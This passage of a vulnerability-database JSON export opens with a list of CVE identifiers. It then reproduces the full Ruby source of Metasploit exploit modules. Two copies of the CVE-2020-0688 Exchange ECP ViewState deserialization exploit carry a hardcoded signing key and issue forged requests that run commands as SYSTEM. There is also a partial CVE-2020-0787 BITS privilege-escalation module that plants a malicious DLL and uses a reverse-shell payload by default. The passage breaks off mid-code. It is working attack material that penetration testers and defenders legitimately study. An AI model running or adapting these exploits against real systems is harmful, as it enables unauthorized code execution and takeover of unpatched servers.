"CVE-2019-11510", "CVE-2019-11708", "CVE-2019-11932", "CVE-2019-12586", "CVE-2019-12587", "CVE-2019-12588", "CVE-2019-1322", "CVE-2019-13272", "CVE-2019-1405", "CVE-2019-17558", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-2107", "CVE-2019-2618", "CVE-2019-2725", "CVE-2019-2729", "CVE-2019-2890", "CVE-2019-3396", "CVE-2019-5736", "CVE-2019-5786", "CVE-2019-6340", "CVE-2019-9810", "CVE-2020-0601", "CVE-2020-0609", "CVE-2020-0610", "CVE-2020-0674", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-0796", "CVE-2020-10199", "CVE-2020-10204", "CVE-2020-11444", "CVE-2020-11651", "CVE-2020-11652", "CVE-2020-1362", "CVE-2020-1472", "CVE-2020-14882", "CVE-2020-14883", "CVE-2020-1938", "CVE-2020-2546", "CVE-2020-2551", "CVE-2020-2555", "CVE-2020-25684", "CVE-2020-25685", "CVE-2020-25686", "CVE-2020-2798", "CVE-2020-2801", "CVE-2020-2883", "CVE-2020-2884", "CVE-2020-2915", "CVE-2020-2950", "CVE-2020-5902", "CVE-2020-6286", "CVE-2020-6287", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-21972", "CVE-2021-21985", "CVE-2021-26855", "CVE-2021-27065", "CVE-2021-31166", "CVE-2021-31195", "CVE-2021-31196", "CVE-2021-31207", "CVE-2021-3129", "CVE-2021-3156", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-3493", "CVE-2021-4034", "CVE-2021-40444", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42278", "CVE-2021-42287", "CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105", "CVE-2022-0185", "CVE-2022-0337", "CVE-2022-0778", "CVE-2022-0824", "CVE-2022-0847", "CVE-2022-20699", "CVE-2022-21882", "CVE-2022-21907", "CVE-2022-21971", "CVE-2022-21974", "CVE-2022-21999", "CVE-2022-22536", "CVE-2022-22947", "CVE-2022-23131", "CVE-2022-23808", "CVE-2022-24086", "CVE-2022-24112", "CVE-2022-25636", "CVE-2022-25943"], "modified": "2022-04-02T05:13:27", "id": "2C119FFA-ECE0-5E14-A4A4-354A2C38071A", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}], "metasploit": [{"lastseen": "2022-03-17T18:35:08", "description": "This module exploits a .NET serialization vulnerability in the Exchange Control Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not randomizing the keys on a per-installation basis resulting in them using the same validationKey and decryptionKey values. With knowledge of these values, an attacker can craft a special ViewState to cause an OS command to be executed by NT_AUTHORITY\\SYSTEM using .NET deserialization.\n", "cvss3": {}, "published": "2020-02-28T02:57:08", "type": "metasploit", "title": "Exchange Control Panel ViewState Deserialization", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-09-28T13:24:39", "id": "MSF:EXPLOIT/WINDOWS/HTTP/EXCHANGE_ECP_VIEWSTATE/", "href": "https://www.rapid7.com/db/modules/exploit/windows/http/exchange_ecp_viewstate/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'bindata'\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n # include Msf::Auxiliary::Report\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n\n DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27'\n VALIDATION_KEY = \"\\xcb\\x27\\x21\\xab\\xda\\xf8\\xe9\\xdc\\x51\\x6d\\x62\\x1d\\x8b\\x8b\\xf1\\x3a\\x2c\\x9e\\x86\\x89\\xa2\\x53\\x03\\xbf\"\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Exchange Control Panel ViewState Deserialization',\n 'Description' => %q{\n This module exploits a .NET serialization vulnerability in the\n Exchange Control Panel (ECP) web page. The vulnerability is due to\n Microsoft Exchange Server not randomizing the keys on a\n per-installation basis resulting in them using the same validationKey\n and decryptionKey values. With knowledge of these values, an attacker\n can craft a special ViewState to cause an OS command to be executed\n by NT_AUTHORITY\\SYSTEM using .NET deserialization.\n },\n 'Author' => 'Spencer McIntyre',\n 'License' => MSF_LICENSE,\n 'References' => [\n ['CVE', '2020-0688'],\n ['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'],\n ],\n 'Platform' => 'win',\n 'Targets' =>\n [\n [ 'Windows (x86)', { 'Arch' => ARCH_X86 } ],\n [ 'Windows (x64)', { 'Arch' => ARCH_X64 } ],\n [ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ]\n ],\n 'DefaultOptions' =>\n {\n 'SSL' => true\n },\n 'DefaultTarget' => 1,\n 'DisclosureDate' => '2020-02-11',\n 'Notes' =>\n {\n 'Stability' => [ CRASH_SAFE, ],\n 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],\n 'Reliability' => [ REPEATABLE_SESSION, ],\n },\n 'Privileged' => true\n ))\n\n register_options([\n Opt::RPORT(443),\n OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),\n OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),\n OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),\n OptString.new('DOMAIN', [ false, 'The domain to use for authentication', '' ])\n ])\n\n register_advanced_options([\n OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),\n ])\n end\n\n def check\n state = get_request_setup\n viewstate = state[:viewstate]\n return CheckCode::Unknown if viewstate.nil?\n\n viewstate = Rex::Text.decode_base64(viewstate)\n body = viewstate[0...-20]\n signature = viewstate[-20..-1]\n\n unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature\n return CheckCode::Safe\n end\n\n # we've validated the signature matches based on the data we have and thus\n # proven that we are capable of signing a viewstate ourselves\n CheckCode::Vulnerable\n end\n\n def generate_viewstate(generator, session_id, cmd)\n viewstate = ::Msf::Util::DotNetDeserialization.generate(\n cmd,\n gadget_chain: :TextFormattingRunProperties,\n formatter: :LosFormatter\n )\n signature = generate_viewstate_signature(generator, session_id, viewstate)\n Rex::Text.encode_base64(viewstate + signature)\n end\n\n def generate_viewstate_signature(generator, session_id, viewstate)\n mac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>')\n mac_key_bytes << Rex::Text.to_unicode(session_id)\n OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes)\n end\n\n def exploit\n state = get_request_setup\n\n # the major limit is the max length of a GET request, the command will be\n # XML escaped and then base64 encoded which both increase the size\n if target.arch.first == ARCH_CMD\n execute_command(payload.encoded, opts={state: state})\n else\n cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first\n execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})\n end\n end\n\n def execute_command(cmd, opts)\n state = opts[:state]\n viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd)\n 5.times do |iteration|\n # this request *must* be a GET request, can't use POST to use a larger viewstate\n send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),\n 'cookie' => state[:cookies].join(''),\n 'agent' => state[:user_agent],\n 'vars_get' => {\n '__VIEWSTATE' => viewstate,\n '__VIEWSTATEGENERATOR' => state[:viewstate_generator]\n }\n })\n break\n rescue Rex::ConnectionError, Errno::ECONNRESET => e\n vprint_warning('Encountered a connection error while sending the command, sleeping before retrying')\n sleep iteration\n end\n end\n\n def get_request_setup\n # need to use a newer default user-agent than what Metasploit currently provides\n # see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string\n user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43'\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'),\n 'method' => 'POST',\n 'agent' => user_agent,\n 'vars_post' => {\n 'password' => datastore['PASSWORD'],\n 'flags' => '4',\n 'destination' => full_uri(normalize_uri(target_uri.path, 'owa'), vhost_uri: true),\n 'username' => username\n }\n })\n fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil?\n cookies = [res.get_cookies]\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),\n 'cookie' => res.get_cookies,\n 'agent' => user_agent\n })\n fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200\n cookies << res.get_cookies\n\n viewstate_generator = res.body.scan(/id=\"__VIEWSTATEGENERATOR\"\\s+value=\"([a-fA-F0-9]{8})\"/).flatten[0]\n if viewstate_generator.nil?\n print_warning(\"Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}\")\n viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR\n else\n vprint_status(\"Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}\")\n end\n\n viewstate = res.body.scan(/id=\"__VIEWSTATE\"\\s+value=\"([a-zA-Z0-9\\+\\/]+={0,2})\"/).flatten[0]\n if viewstate.nil?\n vprint_warning('Failed to find the __VIEWSTATE value')\n end\n\n session_id = res.get_cookies.scan(/ASP\\.NET_SessionId=([\\w\\-]+);/).flatten[0]\n if session_id.nil?\n fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies')\n end\n vprint_status(\"Recovered the ASP.NET_SessionID: #{session_id}\")\n\n {user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id}\n end\n\n def username\n if datastore['DOMAIN'].blank?\n datastore['USERNAME']\n else\n [ datastore['DOMAIN'], datastore['USERNAME'] ].join('\\\\')\n end\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/exchange_ecp_viewstate.rb", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T07:27:55", "description": "This module exploits a .NET serialization vulnerability in the Exchange Control Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not randomizing the keys on a per-installation basis resulting in them using the same validationKey and decryptionKey values. With knowledge of these values, an attacker can craft a special ViewState to cause an OS command to be executed by NT_AUTHORITY\\SYSTEM using .NET deserialization.\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "1976-01-01T00:00:00", "type": "metasploit", "title": "Exchange Control Panel ViewState Deserialization", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "1976-01-01T00:00:00", "id": "MSF:EXPLOIT/WINDOWS/HTTP/EXCHANGE_ECP_VIEWSTATE", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'bindata'\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n # include Msf::Auxiliary::Report\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n\n DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27'\n VALIDATION_KEY = \"\\xcb\\x27\\x21\\xab\\xda\\xf8\\xe9\\xdc\\x51\\x6d\\x62\\x1d\\x8b\\x8b\\xf1\\x3a\\x2c\\x9e\\x86\\x89\\xa2\\x53\\x03\\xbf\"\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Exchange Control Panel ViewState Deserialization',\n 'Description' => %q{\n This module exploits a .NET serialization vulnerability in the\n Exchange Control Panel (ECP) web page. The vulnerability is due to\n Microsoft Exchange Server not randomizing the keys on a\n per-installation basis resulting in them using the same validationKey\n and decryptionKey values. With knowledge of these values, an attacker\n can craft a special ViewState to cause an OS command to be executed\n by NT_AUTHORITY\\SYSTEM using .NET deserialization.\n },\n 'Author' => 'Spencer McIntyre',\n 'License' => MSF_LICENSE,\n 'References' => [\n ['CVE', '2020-0688'],\n ['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'],\n ],\n 'Platform' => 'win',\n 'Targets' =>\n [\n [ 'Windows (x86)', { 'Arch' => ARCH_X86 } ],\n [ 'Windows (x64)', { 'Arch' => ARCH_X64 } ],\n [ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ]\n ],\n 'DefaultOptions' =>\n {\n 'SSL' => true\n },\n 'DefaultTarget' => 1,\n 'DisclosureDate' => '2020-02-11',\n 'Notes' =>\n {\n 'Stability' => [ CRASH_SAFE, ],\n 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],\n 'Reliability' => [ REPEATABLE_SESSION, ],\n },\n 'Privileged' => true\n ))\n\n register_options([\n Opt::RPORT(443),\n OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),\n OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),\n OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),\n OptString.new('DOMAIN', [ false, 'The domain to use for authentication', '' ])\n ])\n\n register_advanced_options([\n OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),\n ])\n end\n\n def check\n state = get_request_setup\n viewstate = state[:viewstate]\n return CheckCode::Unknown if viewstate.nil?\n\n viewstate = Rex::Text.decode_base64(viewstate)\n body = viewstate[0...-20]\n signature = viewstate[-20..-1]\n\n unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature\n return CheckCode::Safe\n end\n\n # we've validated the signature matches based on the data we have and thus\n # proven that we are capable of signing a viewstate ourselves\n CheckCode::Vulnerable\n end\n\n def generate_viewstate(generator, session_id, cmd)\n viewstate = ::Msf::Util::DotNetDeserialization.generate(\n cmd,\n gadget_chain: :TextFormattingRunProperties,\n formatter: :LosFormatter\n )\n signature = generate_viewstate_signature(generator, session_id, viewstate)\n Rex::Text.encode_base64(viewstate + signature)\n end\n\n def generate_viewstate_signature(generator, session_id, viewstate)\n mac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>')\n mac_key_bytes << Rex::Text.to_unicode(session_id)\n OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes)\n end\n\n def exploit\n state = get_request_setup\n\n # the major limit is the max length of a GET request, the command will be\n # XML escaped and then base64 encoded which both increase the size\n if target.arch.first == ARCH_CMD\n execute_command(payload.encoded, opts={state: state})\n else\n cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first\n execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})\n end\n end\n\n def execute_command(cmd, opts)\n state = opts[:state]\n viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd)\n 5.times do |iteration|\n # this request *must* be a GET request, can't use POST to use a larger viewstate\n send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),\n 'cookie' => state[:cookies].join(''),\n 'agent' => state[:user_agent],\n 'vars_get' => {\n '__VIEWSTATE' => viewstate,\n '__VIEWSTATEGENERATOR' => state[:viewstate_generator]\n }\n })\n break\n rescue Rex::ConnectionError, Errno::ECONNRESET => e\n vprint_warning('Encountered a connection error while sending the command, sleeping before retrying')\n sleep iteration\n end\n end\n\n def get_request_setup\n # need to use a newer default user-agent than what Metasploit currently provides\n # see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string\n user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43'\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'),\n 'method' => 'POST',\n 'agent' => user_agent,\n 'vars_post' => {\n 'password' => datastore['PASSWORD'],\n 'flags' => '4',\n 'destination' => full_uri(normalize_uri(target_uri.path, 'owa'), vhost_uri: true),\n 'username' => username\n }\n })\n fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil?\n cookies = [res.get_cookies]\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),\n 'cookie' => res.get_cookies,\n 'agent' => user_agent\n })\n fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200\n cookies << res.get_cookies\n\n viewstate_generator = res.body.scan(/id=\"__VIEWSTATEGENERATOR\"\\s+value=\"([a-fA-F0-9]{8})\"/).flatten[0]\n if viewstate_generator.nil?\n print_warning(\"Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}\")\n viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR\n else\n vprint_status(\"Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}\")\n end\n\n viewstate = res.body.scan(/id=\"__VIEWSTATE\"\\s+value=\"([a-zA-Z0-9\\+\\/]+={0,2})\"/).flatten[0]\n if viewstate.nil?\n vprint_warning('Failed to find the __VIEWSTATE value')\n end\n\n session_id = res.get_cookies.scan(/ASP\\.NET_SessionId=([\\w\\-]+);/).flatten[0]\n if session_id.nil?\n fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies')\n end\n vprint_status(\"Recovered the ASP.NET_SessionID: #{session_id}\")\n\n {user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id}\n end\n\n def username\n if datastore['DOMAIN'].blank?\n datastore['USERNAME']\n else\n [ datastore['DOMAIN'], datastore['USERNAME'] ].join('\\\\')\n end\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/exchange_ecp_viewstate.rb", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-03-17T18:30:32", "description": "This module exploits CVE-2020-0787, an arbitrary file move vulnerability in outdated versions of the Background Intelligent Transfer Service (BITS), to overwrite C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll with a malicious DLL containing the attacker's payload. To achieve code execution as the SYSTEM user, the Update Session Orchestrator service is then started, which will result in the malicious WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a DLL hijacking issue within the Update Session Orchestrator Service. Note that presently this module only works on Windows 10 and Windows Server 2016 and later as the Update Session Orchestrator Service was only introduced in Windows 10. Note that only Windows 10 has been tested, so your mileage may vary on Windows Server 2016 and later.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-06-10T16:02:35", "type": "metasploit", "title": "Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2020-0787"], "modified": "2021-09-08T21:59:25", "id": "MSF:EXPLOIT/WINDOWS/LOCAL/CVE_2020_0787_BITS_ARBITRARY_FILE_MOVE/", "href": "https://www.rapid7.com/db/modules/exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = ExcellentRanking\n\n include Msf::Post::Windows::Priv\n include Msf::Exploit::EXE # Needed for generate_payload_dll\n include Msf::Post::Windows::FileSystem\n include Msf::Post::Windows::Process\n include Msf::Post::Windows::ReflectiveDLLInjection\n include Msf::Exploit::FileDropper\n include Msf::Post::File\n prepend Msf::Exploit::Remote::AutoCheck\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability',\n 'Description' => %q{\n This module exploits CVE-2020-0787, an arbitrary file move vulnerability in outdated versions of the\n Background Intelligent Transfer Service (BITS), to overwrite C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll\n with a malicious DLL containing the attacker's payload.\n\n To achieve code execution as the SYSTEM user, the Update Session Orchestrator service is then started, which\n will result in the malicious WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a DLL hijacking\n issue within the Update Session Orchestrator Service.\n\n Note that presently this module only works on Windows 10 and Windows Server 2016 and later as the\n Update Session Orchestrator Service was only introduced in Windows 10. Note that only Windows 10 has been tested,\n so your mileage may vary on Windows Server 2016 and later.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'itm4n', # PoC\n 'gwillcox-r7' # msf module\n ],\n 'Platform' => ['win'],\n 'SessionTypes' => ['meterpreter'],\n 'Privileged' => true,\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Targets' => [\n [ 'Windows DLL Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper } ],\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2020-03-10',\n 'References' => [\n ['CVE', '2020-0787'],\n ['URL', 'https://itm4n.github.io/cve-2020-0787-windows-bits-eop/'],\n ['URL', 'https://github.com/itm4n/BitsArbitraryFileMove'],\n ['URL', 'https://attackerkb.com/assessments/e61cfec0-d766-4e7e-89f7-5aad2460afb8'],\n ['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html'],\n ['URL', 'https://itm4n.github.io/usodllloader-part1/'],\n ['URL', 'https://itm4n.github.io/usodllloader-part2/'],\n ],\n 'Notes' => {\n 'SideEffects' => [ ARTIFACTS_ON_DISK ],\n 'Reliability' => [ REPEATABLE_SESSION ],\n 'Stability' => [ CRASH_SAFE ]\n },\n 'DefaultOptions' => {\n 'EXITFUNC' => 'thread',\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n 'WfsDelay' => 900\n },\n 'Compat' => {\n 'Meterpreter' => {\n 'Commands' => %w[\n stdapi_sys_config_getenv\n ]\n }\n }\n )\n )\n\n register_options([\n OptBool.new('OVERWRITE_DLL', [true, 'Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).', false]),\n OptInt.new('JOB_WAIT_TIME', [true, 'Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds', 20])\n ])\n end\n\n def target_not_presently_supported\n print_warning('This target is not presently supported by this exploit. Support may be added in the future!')\n print_warning('Attempts to exploit this target with this module WILL NOT WORK!')\n end\n\n def check\n sysinfo_value = sysinfo['OS']\n\n if sysinfo_value !~ /windows/i\n # Non-Windows systems are definitely not affected.\n return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')\n end\n\n # XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.\n build_num_raw = session.shell_command_token('cmd.exe /c ver')\n build_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/)\n if build_num.nil?\n print_error(\"Couldn't retrieve the target's build number!\")\n else\n build_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/)[0]\n print_status(\"Target's build number: #{build_num}\")\n end\n\n # see https://docs.microsoft.com/en-us/windows/release-information/\n unless sysinfo_value =~ /(7|8|8\\.1|10|2008|2012|2016|2019|1803|1903)/\n return CheckCode::Safe('Target is not running a vulnerable version of Windows!')\n end\n\n build_num_gemversion = Rex::Version.new(build_num)\n\n # Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/\n if (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.719')) # Windows 10 v1909\n return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.719')) # Windows 10 v1903\n return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.1098')) # Windows 10 v1809\n return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.1365')) # Windows 10 v1803\n return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.1747')) # Windows 10 v1709\n return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.2313')) # Windows 10 v1703\n return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.3564')) # Windows 10 v1607\n return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511\n return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.18519')) # Windows 10 v1507\n return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2\n target_not_presently_supported\n return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23009')) # Windows 8/Windows Server 2012\n target_not_presently_supported\n return CheckCode::AppearsAppears('Vulnerable Windows 8/Windows Server 2012 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24549')) # Windows 7/Windows Server 2008 R2\n target_not_presently_supported\n return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.0.6001.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.20749')) # Windows Server 2008/Windows Server 2008 SP2\n target_not_presently_supported\n return CheckCode::Appears('Windows Server 2008/Windows Server 2008 SP2 build detected!')\n else\n return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')\n end\n end\n\n def check_target_is_running_supported_windows_version\n if sysinfo['OS'].match('Windows').nil?\n fail_with(Failure::NotVulnerable, 'Target is not running Windows!')\n elsif sysinfo['OS'].match('Windows 10').nil? && sysinfo['OS'].match('Windows Server 2016').nil? && sysinfo['OS'].match('Windows Server 2019').nil?\n fail_with(Failure::BadConfig, 'Target is running Windows, its not a version this module supports! Bailing...')\n end\n end\n\n def check_target_and_payload_match_and_supported(client_arch)\n if (client_arch != ARCH_X64) && (client_arch != ARCH_X86)\n fail_with(Failure::BadConfig, 'This exploit currently only supports x86 and x64 targets!')\n end\n payload_arch = payload.arch.first # TODO: Add missing documentation for payload.arch, @wvu used this first but it is not documented anywhere.\n if (payload_arch != ARCH_X64) && (payload_arch != ARCH_X86)\n fail_with(Failure::BadConfig, \"Unsupported payload architecture (#{payload_arch})\") # Unsupported architecture, so return an error.\n end\n if ((client_arch == ARCH_X64) && (payload_arch != ARCH_X64)) || ((client_arch == ARCH_X86) && (payload_arch != ARCH_X86))\n fail_with(Failure::BadConfig, 